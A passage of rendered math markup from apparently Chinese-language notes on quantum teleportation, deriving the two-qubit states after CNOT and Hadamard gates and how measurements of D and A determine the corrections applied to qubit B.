xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.978em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.0294em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>做一個 CNOT Gate</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>3</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi_3\rangle = \frac12\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}0\rangle + \beta\left( \vert{}01\rangle + \vert{}10\rangle \right)\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>做一個 H Gate</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>4</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mrow><mn>2</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mo lspace="0em" rspace="0em">=</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mrow><mn>2</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mrow><mo fence="true">(</mo><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>+</mo><mrow><mo fence="true">(</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\vert{}\psi_4\rangle = &amp; \frac{1}{2\sqrt2}\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\left( \vert{}0\rangle + \vert{}1\rangle \right) + \beta\left( \vert{}01\rangle + \vert{}10\rangle \right)\left( \vert{}0\rangle - \vert{}1\rangle \right) \right) \\= &amp;\frac{1}{2\sqrt2}\left(    \left( \alpha\vert{}0\rangle+\beta\vert{}1\rangle \right) \vert{}00\rangle +    \left( \alpha\vert{}0\rangle-\beta\vert{}1\rangle \right) \vert{}01\rangle +    \left( \beta\vert{}0\rangle+\alpha\vert{}1\rangle \right) \vert{}10\rangle +    \left( -\beta\vert{}0\rangle+\alpha\vert{}1\rangle \right) \vert{}11\rangle\right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8029em;vertical-align:-2.1514em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.6514em;"><span style="top:-4.6514em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel">=</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.1514em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.6514em;"><span style="top:-4.6514em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.1514em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>接著 Alice 對 D 和 A 進行測量 (也就是圖中第一列、第二列的 qubit)，然後把它回傳。<br>從 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ψ</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">\psi_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 可以發現只要確定 D 和 A，那麼就能確定 B 的狀態，進而對他進行 NOT 或 Z Gate 把他轉換成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span></p><p>舉例來說，如果 Alice 量到 D 跟 A 都是 1，代表 B 一定是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mo>−</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( -\beta\vert{}0\rangle+\alpha\vert{}1\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>那我們對他做 X Gate 再做 Z Gate，他就會變成</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" 